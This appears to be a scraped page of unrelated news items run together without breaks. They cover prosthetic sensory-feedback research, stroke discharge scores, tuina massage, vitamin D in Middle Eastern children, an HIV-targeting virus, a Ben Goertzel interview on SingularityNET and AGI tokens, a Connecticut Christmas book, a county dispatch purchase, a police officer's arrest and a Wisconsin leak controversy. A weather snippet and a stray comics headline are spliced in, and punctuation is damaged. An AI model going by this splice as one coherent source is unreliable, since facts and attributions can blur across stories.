The American Academy of Sleep Medicine recommends that adults should sleep 7 or more hours per night on a regular basis to promote optimal health.
Our tactile senses keep us aware of our environment and are essential for the execution of natural movement. Though there have been many advances in modern prosthetic devices, the loss of sensory feedback remains an issue, and many amputees struggle with everyday movement. Lack of sensory feedback in transtibial (below-knee) amputation means that the prosthesis user must rely on their residual limb for all motor skills. Patients suffer with problems in balance control, risk of falling, and severe phantom limb pain. A University of Pittsburgh group seeks to address this need for sensory feedback in prosthetic devices.

Lee Fisher, assistant professor of physical medicine and rehabilitation, and Doug Weber, associate professor of bioengineering, were one of four University of Pittsburgh teams to receive a $5.3M National Institutes of Health (NIH) BRAIN award.

The NIH Brain Research through Advancing Innovative Neurotechnologies (BRAIN) Initiative aims to advance understanding of the human brain. Fisher and Weber won an award in the "Next Generation Human Invasive Devices" category for their project titled "Spinal root stimulation for restoration of function in lower limb amputees."

"Evidence suggests that lack of sensory feedback contributes to phantom limb pain (PLP), a phenomenon where amputees feel pain from the missing limb, which can be long-lasting and severe," Dr. Fisher said. "We'll be investigating how electric stimulation may both counter PLP and improve movement and balance."

The team's objectives are to 1) explore the effects of electrically stimulating the dorsal root ganglia and dorsal rootlets to generate sensations and reduce phantom limb pain, 2) characterize the responses to electrical stimulation in both the intact and amputated limbs to coordinate reflexes and improve movement, and 3) use electrical stimulation to decrease postural sway and increase gait stability.

Fisher and his team will use an FDA-cleared spinal cord stimulator to send electrical pulses to the dorsal root ganglia (DRG) and dorsal rootlets (DR) in hopes of reducing PLP. The stimulation creates sensations of pressure and movement in the amputated limb, thereby reducing PLP and improving prosthesis functionality.

The group will use the same electrical stimulation to characterize reflexive responses. Electromyography will be used to measure reflex responses generated in the muscles of the leg. Having bilaterally coordinated reflexes will help prosthetic users when responding to unexpected situations, such as slips or falls. Being able to precisely control the patterns of reflexive activity will also help with everyday standing and walking.

The team will be using pressure sensitive insoles and joint angle sensors in the prosthetics. Fisher explains, "The insoles allow us to control stimulation. If we record increased pressure under the ball of the foot, we will increase stimulation for an electrode that generates a sensation at the ball of the foot. The goal is to make it feel like the sensations are coming from the prosthetic limb." The study of these signals and modulation of sensory feedback through DRG/DR stimulation should improve movement by decreasing postural sway and increasing gait stability.

According to Dr. Fisher, making improvements in the sensory feedback of prosthetic devices could drastically improve the quality of life for their users by reducing phantom limb pain, increasing balance control and confidence, and making the prosthetic limb feel more natural.

Source: http://www.engineering.pitt.edu/News/2017/Fisher-and-Weber-NIH-BRAIN-Grant/
Kendallville, IN (46755)

Today

Snow showers this evening. Breaks in the overcast later. Low 22F. Winds WSW at 10 to 20 mph. Chance of snow 70%..

Tonight

Snow showers this evening. Breaks in the overcast later. Low 22F. Winds WSW at 10 to 20 mph. Chance of snow 70%.
Stroke survivors with higher scores on widely used outcome measures are more likely to be discharged home from the hospital, while those with lower scores are more likely to go to a rehabilitation or nursing care facility, reports a paper in the January issue of The Journal of Neurologic Physical Therapy (JNPT). The journal is published by Wolters Kluwer.

Standardized rating scales can help to support decisions about discharge destination for stroke patients leaving the hospital, according to the analysis by Dr. Emily Thorpe, PT, DPT, and colleagues of Walsh University, North Canton, Ohio, under the mentorship of Dr. Robert S. Phillips, PT, DPT, PhD, NCS. "These results provide a framework with which to start the plan of care and discharge process in acute and sub-acute settings," the researchers write.

Outcome Measure Scores to Predict Stroke Discharge  Pooled Evidence Analysis

In a systematic research review, Dr. Thorpe and colleagues identified nine previous studies of the relationship between standardized outcome measures and discharge destination in patients with stroke. Five studies-;including more than 6,000 patients-;provided evidence suitable for analysis of pooled data, called meta-analysis.

Meta-analyses assessed the predictive value of two outcome measures. Four studies evaluated the Functional Independence Measure (FIM), which assesses the level of assistance needed to perform daily tasks. The FIM is commonly used in hospitalized patients with a wide range of conditions. Two studies used the National Institutes of Health Stroke Scale (NIHSS), which is specifically designed to assess stroke severity and resulting disability. (One of the studies included both measures.)

Both rating scales were good indicators of the discharge destination for stroke patients, according to the meta-analyses. For each one-point improvement in the FIM score (on a scale from 18 to 126), patients were about eight percent more likely to be sent home from the hospital, rather than to a rehabilitation or nursing facility.

On both the FIM and NIHSS, patients who scored in the "above average" range were 12 times more likely to be discharged to home. In contrast, patients with "average" scores were 1.9 times more likely to be discharged to a care facility.

Patients with "poor" scores on the FIM and NIHSS were 3.4 times more likely to be discharged to an institution. For this group, the discharge destination was more likely to be a skilled nursing facility, rather than to an inpatient rehabilitation center.

Interdisciplinary rehabilitation services are crucial to help stroke patients toward regaining their functional ability and lifestyle. With the aging population and increased spending for stroke management, it's more important than ever to provide efficient care for patients recovering from a stroke. About 20 percent of stroke survivors require institutionalized care beyond three months; many patients need continued assistance after they return home.

Outcome measures such as the FIM and NIHSS are widely used to assess the functional abilities or clinical condition of stroke patients. However, it has been unclear how scores on these rating scales are related to discharge destination.

The new analysis provides evidence-based data to support critical decision-making about discharge destination in stroke patients. "Findings from these meta-analyses are consistent with common sense practice: the better a patient's outcome measure score, the greater the likelihood of home discharge," Dr. Thorpe and coauthors write. The results show the "quantitative impact" of outcome measure scores on discharge decisions.

The researchers emphasize that rating scales such as the FIM and NIHSS are just one factor to consider in determining the best discharge destination for each individual patient after a stroke. Dr. Thorpe and colleagues conclude: "Ultimately, standardized outcome measures should be further used and studied among the post-stroke population to improve healthcare policy and compliment clinical judgment in the task of recommending discharge destinations for patients to receive the necessary care for achieving their optimal function."
A new study evaluating a form of Chinese massage, tuina, in patients with chronic neck pain found it to be effective, safe, and cost-effective compared to no treatment. The study, which assessed intensity of neck pain, disability, health-related quality of life, medication use, and cost, is published in The Journal of Alternative and Complementary Medicine (JACM), a peer-reviewed publication from Mary Ann Liebert, Inc., publishers. The article is available free on JACM website.

One of the top researchers in complementary and integrative medicine globally, Claudia Witt, Dr. med., MD, MBA, Charite - Universitatsmedizin Berlin (Germany), University of Zurich and University Hospital Zurich (Switzerland), and University of Maryland School of Medicine (Baltimore, MD) and colleagues from Charite - Universitatsmedizin Berlin and Tianjin University of Traditional Chinese Medicine (China) coauthored the article entitled "Effectiveness and Cost-Effectiveness of Tuina for Chronic Neck Pain: A Randomized Controlled Trial Comparing Tuina with a No-Intervention Waiting List."

Patients with chronic neck pain were randomly assigned to receive either no treatment or six sessions of tuina over 3 weeks, a therapeutic approach that involves manual manipulation of the soft tissue and backbone using mainly stroking, kneading, and drumming techniques. The researchers reported a clinically relevant decrease in mean neck pain intensity and improved function and physical quality of life among the group that received tuina. Based on the differences between the two groups, tuina treatment appeared to be relatively cost-effective.

Said Dr. Witt: "The results are promising and call for further research on tuina."

"The value found for tuina in this study has an additional implication," says JACM Editor-in-Chief John Weeks, johnweeks-integrator.com, Seattle, WA. He adds: "Inclusion in payment and delivery programs of Traditional Chinese Medicine practitioners who are trained in tuina may offer a one-two punch - acupuncture needles and Chinese massage - in efforts to shift to cost-effective non-pharmacologic approaches for chronic pain treatment."
A renowned UK skin clinic, which is attending Arab Health 2018, has warned against the dangers of insufficient Vitamin D levels among Middle Eastern children.

Dr Haus  who runs a specialist dermatology clinic on London's Harley Street - explains that low levels of vitamin D is common in children living in hot countries where children spend a lot of time indoors due to the extreme heat or wear clothing that covers large areas of their skin.

The darker the color of a persons skin, the slower their rate of Vitamin D production due to the higher amounts of melanin in their skin. Therefore, due to a combination of factors, children in Middle Eastern countries may not receive enough natural Vitamin D from the suns rays.

Dr Haus said:

It is well known that vitamin D is essential for the development of healthy bone structure, but it also has other less well-known benefits such as the proper functioning of the bodys immune system. Checking vitamin D levels in children on a regular basis is therefore important.

Dr Haus also warns that the risk of skin cancer in children in the Middle East is something that should not be ignored. There is a misconception that people with darker skin or those who tan easily are not at risk of developing skin cancer.

People in the Middle East who have darker skin on the Fitzpatrick Scale of Skin may have a lower risk than a fair skinned person, but they are not excluded from the risk of developing skin cancer.

Prevention of skin cancer is key, added Dr Haus. The regular use of quality sunblock on children in the Middle East whenever they are exposed to sunlight is essential. This also applies to anyone travelling around in a car or sitting adjacent to a window as the UV rays from the sun can transmit through glass.

Where there is a history of skin cancer in the family, there is an increased risk of developing the disease. He added:

Anyone with a history of skin cancer, or who spends a lot of time outdoors, would be well advised to have regular checkups with a dermatologist where moles and other lesions can be checked and monitored.

The Dr Haus team use computerized mole-mapping technology, which allows full body photographs of a patient to be taken in less than 5 minutes and any suspicious moles or lesions will be identified.

Photographs can then be used as a base line to highlight any changes in the size, shape or color of the mole or lesion, when the patient next returns to the clinic. In high-risk patients, this may need to be carried out as often as every 3 months.

Dr Haus clinic is located within the Harley Street Medical Area, London - an area famed for its medical excellence in treating complex and life-threatening conditions. The area, managed by long-term landlord The Howard de Walden Estate, brings together a community of world renowned medical professionals.

The Arab Health Exhibition & Congress is taking place from 29th January to the 1st February 2018, at the Dubai Convention and Exhibition Centre. The Dr Haus team will be located on the Harley Street Medical Area Stand on the UK Pavilion (Stand H7E30).
While Ottawa researchers are known for their work on cancer-fighting viruses, one team is applying these viruses to a new target: HIV.

Researchers at The Ottawa Hospital and the University of Ottawa have discovered that the Maraba virus, or MG1, can target and destroy the kind of HIV-infected cells that standard antiretroviral therapies can't reach. This laboratory discovery was published in the Journal of Infectious Diseases. If this technique works in humans, it might possibly contribute to a cure for HIV.

While daily medications keep the level of HIV virus in the blood low, there is currently no way to totally eliminate dormant HIV-infected cells from the body. If a person living with HIV stops taking antiretroviral medications, these hidden viruses rapidly rebound.

These latently HIV-infected cells are hard to target because they are not distinguishable from normal cells. Dr. Jonathan Angel and his team tried a new approach of identifying these dormant cells by using the MG1 virus. This virus attacks cancer cells that have defects in their interferon pathway, which makes the cells more vulnerable to viruses. Dr. Angel and his team previously found that latently HIV-infected cells also have defects in this pathway.

"We thought that because latently HIV-infected cells had similar characteristics to cancer cells, that the virus would enter and destroy them," said Dr. Angel, senior scientist and infectious disease physician at The Ottawa Hospital, and professor at the University of Ottawa. "It turns out we were right."

Using a number of laboratory models of latently HIV-infected cells, the researchers found that the MG1 virus targeted and eliminated the infected cells, and left healthy cells unharmed.

While most of these cells in patients are in the lymph nodes and other organs, a tiny number are found in the blood. When the researchers added MG1 to relevant blood cells taken from HIV-positive individuals, the levels of HIV DNA in the sample dropped. This indicated that the HIV-infected cells had been eliminated.

"We know that the Maraba virus is targeting and killing the latently HIV-infected cells, but we don't know exactly how it's doing this," said Dr. Angel, who is also Head of the Division of Infectious Disease. "We think the virus is able to target the cells because of an impaired interferon pathway, but we need to do more research to know for sure."

The research team's next step is to try the virus in animal models of HIV or move directly to clinical trials.

All research at The Ottawa Hospital is supported by generous donors who contribute to hospital priorities, including research to improve patient care and a research chair in gay men's health. The study was also funded by the Department of Medicine, University of Ottawa, Canadian Institutes of Health Research, Canadian Foundation for AIDS Research,

Source: http://www.ohri.ca/
Who is Silk - the powers, enemies, and comic history of the Korean America Spider-hero

Spider-hero Silk is about to headline her own streaming series. Here's what you need to know
GamesRadar+ is supported by its audience. When you purchase through links on our site, we may earn an affiliate commission. Heres why you can trust us.
Artificial Intelligence researcher Ben Goertzel has spent the past 3 decades working in the field of Artificial Intelligence. He coined the term Artificial General Intelligence (AGI) to differentiate a sentient, cognizant computer from a machine capable of narrowly intelligent behavior in confined areas. Dr. Goertzel has founded the OPenCOG foundation designed to promote open AGI development, and he currently is the Chief Scientist of Hanson Robotics as well as the author of numerous books and Journal articles. During the past several months Goertzel has concentrated his efforts on launching an open marketplace for AI programs and services. This marketplace, called SingularityNET, is designed to offer AI services to customers and to encourage the development of beneficial AGI. Alongside SingularityNET, a cryptocurrency called AGI Coin will be unveiled, with the Initial Coin Offering (ICO)taking place on December 19, 2017. In an interview with Sander Olson for Next Big Future, Goertzel discusses SingularityNET, AGI Coin, and why he believes that toddler-level AI will be achieved by 2030.

Question 1: I first interviewed you for Next Big Future in 2009. How has the AI field evolved during the past 8 years?

In the last 10 years weve seen a narrow AI revolution. Now AI is used across a huge variety of vertical markets, carrying out all sorts of different user-facing and back-end tasks. For decades AI was important in a few specific markets, e.g. finance and supply chain. But now its highly valuable almost across the board.

Weve also seen an attitudinal revolution  now you can say in polite company that youre working on building AGI or human-level or superhuman intelligence or whatever, and you are fairly likely to be taken seriously. In 2006 when we started the AGI conference series, AGI was not something you talked about among serious academic or industry researchers, it was something you whispered about in the hallways with your fellow futurist freaks  or discussed at the bar after too many beers.

On the other hand, the basic AI algorithms in play now were all invented in the 50s, 60s and 70s (multilayer neural nets, evolutionary algorithms, logic provers, semantic networks, etc.). Though many of the details of the algorithms have been improved, and the hardware and data situations are much improved. And we still dont have anything near to a human-level AGI, in terms of practically deployed and demonstrable systems.

Question 2: You have accomplished quite a bit since 2009, including founding the OpenCOG foundation. What is the OpenCOG foundation, and how is it funded?

OpenCog Foundation is a small US nonprofit organization, which holds copyright on a bunch of OpenCog open source software code. So far it hasnt done a lot else, but in future it may become more active. At the moment most of the work on the OpenCog Artificial General Intelligence framework is funded by other organizations, including nonprofits like Proteus Foundation and Humanity+, and for-profits like Hanson Robotics, Novamente LLC and SingularityNET.

The OpenCog AGI framework is, in my view, the most promising and most fully fleshed out design for AGI at the human level and beyond, that exists on the planet today. Its an evolving design, with a powerful partial implementation that is getting further advanced by the way, and SingularityNET is likely to lead to a substantial acceleration in OpenCog development progress, via creating software tools that OpenCog systems can leverage, and via entraining OpenCog AI Agents with other sorts of AIs in mutually valuable ways.

Question 3: Although the field of AI is white-hot now, much of the excitement is due to the fact that GPUs/DSPs/ASICs have dramatically increased Deep Learning capabilities. Have there been any important AI advances during the past decade unrelated to Deep Learning?

Many areas of AI have been advancing, indeed. Automated theorem proving can do more and more each year, as you can see from the ever-improving results at the CASC conferences, http://www.cs.miami.edu/~tptp/CASC/ . Evolutionary learning now can learn complex things like control of simulated or physical robots (http://ieeexplore.ieee.org/document/7161918/), due to new algorithms like CMA-ES . Boolean Satisfaction (SAT) solvers are the tool of choice for model checking (checking correctness of hardware and software) and also are getting better and better at planning and other applications (https://courses.cs.washington.edu/courses/csep573/11wi/lectures/ashish-satsolvers.pdf is an old reference, there are newer)

Deep NNs have proved especially good at handling perceptual data like images and sounds, so their feats have been easy for the general public to understand, but other AI techniques have also been advancing quite rapidly behind the scenes

Understanding of human cognitive architecture and its embodiment in AI systems has also been advancing, as seen in OpenCogs design, but also in other efforts like the SOAR/Sigma/ACT-R community which held a workshop on A Standard Model of Mind earlier this year. This sort of research has not yet lead to extremely showy or economically valuable practical results, but I think it will.

Question 4: You are about to issue a new cryptocurrency, called AGI Token. How is this digital currency unique?

The AGI Token is the native currency of the SingularityNET, which is a decentralized autonomous organization of AI Agents. It is specially designed to be highly effective as a tool for AIs to use to pay other AIs for services. This has to do mainly with the design of the overall token economy in which the AGI Token lives  for instance in the system of AGI token rewards according to which a certain number of AGI tokens is released each month, and given to AI Agents that are decided by the community of AI Agents to be delivering particular value (either delivering great AI services generally, or delivering accurate and impactful ratings of other AI agents, or doing AI that is especially beneficial to the common good).

Question 5: Many cryptocurrencies use Proof-of-work schemes to verify the validity of the transactions. Is the blockchain verification system employed by AGI Coin sufficient without a Proof-of-Work verification system?

Yes, Proof of Work is somewhat retro by now. Many blockchains and similar technologies, such as NEM for one example, dont need it.

The current SingularityNET prototype uses Ethereum, which does use PoW though its transitioning toward Proof of Stake. However, during early 2018 we will shift SingularityNET to another blockchain or blockchain-like technology that is faster than Ethereum, and in the course we will likely get away from PoW 

Question 6: AGI Coin will be the native currency for the SingularityNET marketplace. How exactly will SingularityNET work?

Like any complex system, SingularityNET can be viewed from multiple perspectives, each one shedding different insights 

Firstly, from a customer view, SingularityNET is simply: an easier, broader and more powerful way for a business to obtain AI services. It is not a consumer service, though it will be used at the back end of multiple consumer services, created by businesses whose software and hardware uses SingularityNET at the back end. SingularityNET will provide businesses with AI services that are superior to those of competing platforms, in terms of the breadth of applications addressed, the quality and cost of results delivered; and, last but not least, the ethical nature of the societal, aesthetic and environmental impact of the organizations activities. SingularityNET is currently in an early stage of development, with a limited alpha version available now and a scalable version planned for mid-2018. Out of the box it is applicable to any vertical market, but in the early stages the functionality will be richer in certain niches than in others. The areas of initial strength will likely be robotics, biomedical analytics and cybersecurity. The strength of the platform in additional areas will be increased progressively.

Second, from an AI technology point of view, SingularityNET is a heterogeneous and multi-paradigm framework. The AI services delivered by the SingularityNET will include processes based on every known type of AI, including evolutionary learning, probabilistic reasoning, neural nets (deep and shallow), statistical pattern recognition, graph analysis, and many others. A given service provided to a given customer may rely on the back end, on multiple AI processes using different types of AI algorithms. This heterogeneity differentiates SingularityNET from alternate AI services that are more narrowly restricted to particular AI paradigms such as deep neural networks, expert systems or genetic algorithms. This heterogeneity positions SingularityNET particularly well to serve as a breeding ground for the transition from the narrow AIs characterizing the AI business world today, to more powerful AGI  AI that is able to learn and generalize beyond the specific contexts, situations and tasks for which it was programmed or trained.

Third, SingularityNET is also innovative from a business structure perspective. Once its initial development phase is completed, it will be a Decentralized Self-Organizing Cooperative  a new type of socioeconomic structure, different from familiar structures like for-profit-organizations, charities, school, clubs and so forth. Specifically it will be a Decentralized Self-Organizing Cooperative with a purpose of providing businesses with superior Artificial Intelligence services, and ongoingly increasing its own intelligence so that it can do so. A DSoC differs from a typical corporation above all in its decentralized and open aspect: anyone can contribute AI code they have developed to the SingularityNET, and the pricing model is intended to support the widest variety of applications possible. Furthermore the governance of a DSoC is fundamentally democratic, so that once the SingularityNET has been launched in its mature phase, it is the developers and users of the networks AI services who will make the key decisions regarding the networks coordination and direction.

And fourth, from a broader perspective, SingularityNET is hoped to have an impact beyond that of an ordinary business, or even that of an ordinary unusually-structured socieconomic entity. AI will play a critical role in the next stage of growth of intelligence and life on Earth and in the nearby region of space . By providing a decentralized, open platform for people and AIs to work together on the creation of more powerful, more generally intelligent and more ethical AI services, SingularityNET is intended to increase the odds that the coming radical societal and technological transitions have a positive outcome.

Question 7: What are smart contracts and how will they be employed to verify Trust and security?

A smart contract is software code that embodies a contractual agreement between one or more entities, and makes the contract executable as code.

For instance, if Agent A wants to pay Agent B 100 AGI tokens for carrying out task X, a smart contract can be written that puts 100 of As AGI tokens in escrow until B has done task X  and then when A verifies that the task is done, automatically releases the tokens to B. In cases where B says the task is done but A does not agree, then the smart contract can also specify that C gets to do the mediation.

In SingularityNET, the economic interactions between two AI Agents are regulated in terms of smart contracts.

In the Ethereum framework, smart contracts are normally represented as procedures (programmed in a language called Solidity) that is then run in a virtual machine. In SingularityNETs full-scale release version, smart contracts will be specified in OpenCogs Atomese declarative logic language (where their properties can be logically analyzed and their correctness checked), and then compiled into procedures for running on various virtual machines (including Ethereums virtual machine as desired).

Question 8: How will SingularityNET encourage the development of Artificial General Intelligence (AGI)?

SingularityNET will make it easier for early stage AGIs to interface with narrow AIs, which will make it easier for early stage AGIs to participate in doing useful things and in making money. SingularityNET will also provide a framework in which different AI Agents with different levels of generality can cooperate and form composite multi-part meta-AI systems. So it may lead to the emergence of AGIs that are composed of multiple AI Agents originally written by different people (or different automated programming software) for different purposes  where the multiple AIs became federated together via the dynamics of the SingularityNET.

Question 9: For individuals more concerned with making money than promoting beneficial AGI, would you still recommend investing in AGI Tokens?

Well, I am an AI researcher, not a financial advisor. And my legal advisors have been pretty strict in telling me not to give financial advice to people involving things like investment.

Question 10: In order for SingularityNET to succeed, AI research contributors will need to eschew potentially massive profits coming from selling to corporations, in return for relatively modest compensation from the SingularityNET marketplace. Are you confident that there are many AI researchers willing to make such sacrifices?

I dont think this is an accurate way to look at it.

The percentage of AI developers who make big money by selling out to big corporations, is quite small. Most AI developers who work for big corporations  and give these corporations their ideas  make a decent salary but dont get rich.

Furthermore, its not clear that financial reward from participation in the SingularityNET marketplace will always be so modest. Some sellers on Amazon and Ebay make a lot of money, and some AI Agent providers on SingularityNET may as well.

Though there will also be a long tail of AI Agent providers in the SingularityNET, offering specialized services and making modest amounts of money thus enabling their creators to earn a living supplying valuable AI for a certain niche market, or working on AGI -oriented code that helps out in many application areas.

Question 11: You have recently claimed that toddler-level AGI could come about by 2030. How confident are you of that prediction?

Its looking more and more likely every year. Ill be pretty surprised if we dont have toddler-level AGI in the range 2023-25, actually. And then it will be more than a toddler in the human sense. It will be a toddler savant, with ability to e.g. do science and math and answer questions way beyond the level of a human toddler. And once were there, the full-fledged Singularity wont be far off in my opinion. SingularityNET has potential to accelerate R&D progress in this and other AGI-ish directions, making it increasingly likely that the advancement of AI proves Kurzweil a pessimist
VALLEY-SHORE  If you havent been feeling the Christmas spirit lately, theres an instant antidote for that. Its as simple as flipping through the pages of A Connecticut Christmas, Celebrating the Holiday in Classic New England Style, a book of photographs by Chesters Caryn B. Davis and text by state author Eric D. Lehman.

The 10-by-8-inch coffee table book, recently published by Guilfords Globe Pequot Press, features images of Connecticut landscapes, homes, churches, barns and boats all decked out during the holiday season.

Davis comes to the business of photography with 30 years of experience. She originally worked in documentary television, but since 2000 has been working as a freelance photographer, specializing in architecture, marine, portraits and travel.

Jacques Pepin, chef and author, describes the publication as a sentimental journey through the lore of CT, which makes you want to sing Irving Berlins White Christmas  From churches, festivals and town greens to private homes, farms and barns, this heartwarming book makes you smile.

Already sold out in its first printing of about 3,000 copies, the book is obviously a hit. Davis has been and continues to appear at numerous book signings and has been getting lots of press.

Interviewed in the Chester studio/home she shares with husband and artist, Leif Nilsson, Davis said the book has been purchased as gifts for teachers, housewarming gifts for owners of newly purchased homes and for grown children who now live out of state. And when people buy it, she said they usually buy more than one.

Besides inspiring the Christmas spirit, its also a guide to events throughout Connecticut and includes a listing in the back of the book.

Among those events is the Boars Head Festival on 12th Night at the Asylum Hill Congregational Church in Hartford, a spectacular celebration of the Epiphany, which includes camels and llamas. The book notes the church was built of brownstone from Portland quarries.

Another is the Lantern Light Tours at Mystic Seaport, the 19th century living museum, where visitors enjoy a play, set in 1876 Christmas Eve, walking from place to place in the village, guided by actors in period costumes holding lanterns.

The lower Connecticut River Valley and Connecticut Shoreline towns are well represented in the book. It shows the huge display of lights in Ivoryton, the North Pole Express in Essex (otherwise known as the Valley Railroad Companys Steam Train), artist-decorated palettes and Christmas trees at the Florence Griswold Museum in Old Lyme (Griswold was born on Christmas in 1850), the arrival of Santa on a fire truck in Chester and lighted boat parades in Mystic and Essex, and more.

Lehman is the director of creative writing at the University of Bridgeport and is the author of several books and articles, many about Connecticut. It was such a gift to have him as a writer, Davis said. She said he came on board after the book was photographed and highlighted facts about the places she visited, as well as Christmas traditions.

He writes in the section about the Lockwood-Mathews Mansion in Norwalk that the state declared Christmas a legal holiday in 1845 and the following year, an American womens

magazine, Godeys Ladys Book, popularized decorating trees at Christmas with its depiction of Queen Victorias tree.

Davis mansion photographs show a display of greenery and lights leading to a Christmas tree on the grand staircase, which the text notes cost $50,000 to construct in 1868, a sign of a move toward more elaborate architecture at the time.

This is Davis first book. It came to be after she pitched a story to Victoria Magazine about the Connecticut River Valley as a travel destination, which was narrowed down to travel in the area at Christmastime. Ann Nyberg, WTNH Channel 8 television news anchor and book author for the same book publisher, heard about it and connected her to Amy Lyons, an editor at Globe Pequot.

Davis said the editor already had a description of the Christmas book, but not the specifics. All that was an evolution as we went along, she said.

It took Davis two winter seasons, first six weeks and the next year eight, to travel to 40 towns and 62 locations to get the final some 400 shots in the book.

The search for subjects started with the expected. Some were obvious, like the light shows and the boat parades, she said. But over time, the search expanded from online research to people who heard about the project and offered suggestions.

Some shots were serendipitous, where Davis had a specific destination, but came upon something else. A lot of it was driving to a certain place, shooting and stopping along the way.

Although she had some trouble finding snow  she drove up to the northwest corner twice in one day for the sake of snow  and took the cover shot in Essex while not feeling well and freezing, the whole experience was far from unpleasant. It was a whole lot of fun, Ill tell you that, she said.

Besides discovering interesting places in Connecticut, Davis found out about the people who live in the state. I met a lot of nice people, she said, who were happy to share their stories, traditions and invite her into their homes and communities.

For information about Davis, her book and book signings, go to carynbdavis.com. For information about Lehman and his books, go to ericdlehman.org.
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The Jackson County Board of Supervisors approved paying $153,734.68 for three new dispatch radio console systems Monday after the previous system began showing signs of failure due to overheating, causing multiple emergency committee meetings this week to resolve the issue.

A dispatch radio console system is used by dispatchers to page police, EMS and fire responders to emergencies throughout the county. The current system is 10 years old and runs on outdated Microsoft XP computers.

The dispatch console system in place now began showing signs of failure after it overheated earlier in the month.

To me it looked like it just got hot. Maybe somebody had put something in front of it and blocked the cooling for the system, Jackson County IT Director Kenneth Lechner said adding that everything on the computer appeared to be working properly. There shouldnt be any reason that it would overheat like that unless something was failing.

Currently the computer that overheated is getting additional airflow from a box fan to try and nurse it through until the new system arrives.

The way I understand it, we got more life out of it than would have been expected, Mark Moan, Jackson County Sheriffs Office Chief Deputy, said.

Since the current system is no longer supported by Microsoft, replacement parts to fix the issue are hard to come by.

The number one thing you have to do with a dispatch center is make sure your computers have the current operating system supported by Microsoft because if you dont, and then your computer fails, you cant get a replacement, Steve Dubberstein, BAYCOM director of engineering, said.

BAYCOM is a Motorola dealer in Wisconsin and is the company that won the bid for the new dispatch radio console systems the county decided to purchase.

The three new systems will be Motorola MCC7500 Dispatch Consoles which include many of the necessary tools like headsets and speakers that a dispatcher needs during a call. BAYCOM will also be responsible for installing the system and providing maintenance during the 1-year warranty period. Additional maintenance packages can also be purchased by the county in the future.

According to Dubberstein, Jackson County got a good deal from Motorola on the system with a $42,500 discount off of the state contract price.

BAYCOM approached Motorola asking if they would give Jackson County the same price they quoted Trempealeau County in 2015 for the same setup. At that time, a large discount was available on the system.

This expired two years ago, but now is a time to buy something from a big company like Motorola because it is the end of the year and they want to make some sales, Dubberstein said explaining how Jackson County got the good price.

Despite the great price, these expenses were not included in the 2018 budget. To compound the issue further, the Sheriffs Department is also expected to make an additional large purchase in 2018 when it purchases a Next Gen 911 system. The current 911 system is also running on Microsoft XP computers.

Sooner or later as the project takes its course with the countys approval, we need to improve both operating systems and hardware to be up-to-date. Otherwise both systemsradio consoles that run the radios and the 911 receiving GIS and 911 information  if those dont work I am dead in the water, Jackson County Sheriff Duane Waldera said.

Even with the large discounts, the system was still more expensive than other quoted systems.

One of the reasons this is being looked at very seriously and probably going to be made is that Motorola also owns two parts of our system already that we are utilizing, Jackson County Board of Supervisors Chairman Ray Ransom said. This did run a little higher than some of the other folks out there.

Ultimately the Jackson County Board of Supervisors unanimously approved the purchase.

This is the equipment we didnt replace when we did the $2 million radio system. We decided wed do this in the future, which the future is now, Jackson County Supervisor Jeff Amo said during an emergency Executive and Finance Committee meeting held Monday on the issue.

The new system is expected to take six to eight weeks to come in, so the county is looking for alternatives in case the current system does fail before that.

We will not be able to operate if these systems fail, Waldera said. We are trying to work with our vendors to figure out if the worst case scenario happens, what we can do.

Waldera said this could include borrowing a spare Microsoft XP computer.

According to Waldera, the new system will not affect the radio systems used by police, EMS and fire personnel.
A part-time St. Charles, Minn., police officer has resigned after his arrest in a Rochester prostitution sting.

According to the Rochester Police Department, Jeremy Newton, 42, of Byron was arrested around 6:30 p.m. Thursday at a south Rochester hotel as part of an investigation. He was charged with gross misdemeanor soliciting a prostitute in a public place.

He was one of three men arrested Thursday; all were booked and released.

Newton was one of nine part-time police officers on the St. Charles police force, along with four full-time officers.

St. Charles Police Chief Ken Frank said that Newton was no longer employed by the department.

Not as of Friday, Frank said. He turned in his resignation.

According to the Rochester police department, it frequently runs similar stings using a number of hotels but hadnt arrested someone who worked in law enforcement.

John Sherwin, captain with the Rochester police, said investigators suspected they were communicating with someone involved in law enforcement.
The judge who authorized the release of Attorney General Brad Schimels report on records leaked from an investigation into Gov. Scott Walkers recall campaign said Monday he shouldnt have allowed the disclosure of a separate but related, previously unknown ethics investigation.

In an interview with the Wisconsin State Journal on Monday, Jefferson County Circuit Court Judge William Hue accepted responsibility, though he said Schimel never raised a question about whether disclosing details from a closed ethics investigation was permitted.

I really would have done things differently if I had known this issue, Hue said. If youve been investigated by a government entity, and theyve decided they arent going to prosecute that, youd be entitled to an expectation that an investigation done by that entity would be kept in confidence.

The State Journal reported Sunday that Schimels report was the first to reveal the previously unknown ethics investigation into whether Republican state employees were campaigning on taxpayer time.

Schimel responded late Monday, confirming the State Journals report that the former Government Accountability Board based its ethics investigation on evidence obtained from the Milwaukee County District Attorneys Office. But he insisted on calling the GAB investigation John Doe III, even though it wasnt a John Doe investigation, a specific kind of legal proceeding.

Former GAB staff members and others have described the probe as an ethics investigation.

Schimel said the DOJ was specifically authorized to release and disclose this information in two separate court orders, which were both signed by Hue.

Disclosing the existence of John Doe III was critical to document the circumstances that allowed the leak to occur in the first place, which was DOJs charge from the Legislature, Schimel said.

Schimels original report said the investigation had no discernible limit, although the report and his statement dont explain exactly what he meant by that. The report does not mention that the former GAB, made up of six retired judges, authorized the investigation in December 2011 and recommended no charges when it closed the investigation in March 2013.

Private emails gathered

The report listed 35 individuals, including Sen. Leah Vukmir, R-Brookfield, whose private emails had been obtained as part of the investigation. Vukmir has decried the ethics investigation itself as an egregious overreach of government, but hasnt responded to a request for comment on Schimel disclosing its existence.

State law prohibits prosecutors and investigators from releasing information from a closed ethics investigation that didnt result in charges. Those who violate the law can be subject to up to nine months in jail and a $10,000 fine.

Hue said if he faced charges related to the release of the ethics investigation details, I would have to plead guilty. Its unclear whether the law would apply to a judge.

In his statement Monday, Schimel described media reports indicat(ing) that John Doe III was not a John Doe at all, but solely a GAB ethics investigation as false. The State Journal reported the GAB ethics investigation was based on evidence collected by the Milwaukee County District Attorneys Office during the John Doe I investigation, as Schimel confirmed.

The John Doe I was an investigation into Walkers Milwaukee County office that netted six felony convictions, including two related to staff campaigning on taxpayer time during the 2010 election.

Schimel said the Milwaukee County DAs Office started the investigation by obtaining a 2010 search warrant for several email accounts; followed by a 2011 search warrant for phone records and emails; a 2012 subpoena to the Legislative Technology Services Bureau, the Senate and the Assembly; and then several 2012 search warrants and subpoenas mostly to email providers. It also obtained the recordings of one or more phone calls, possibly by a wiretap, though the records do not specify how they were recorded, he said.

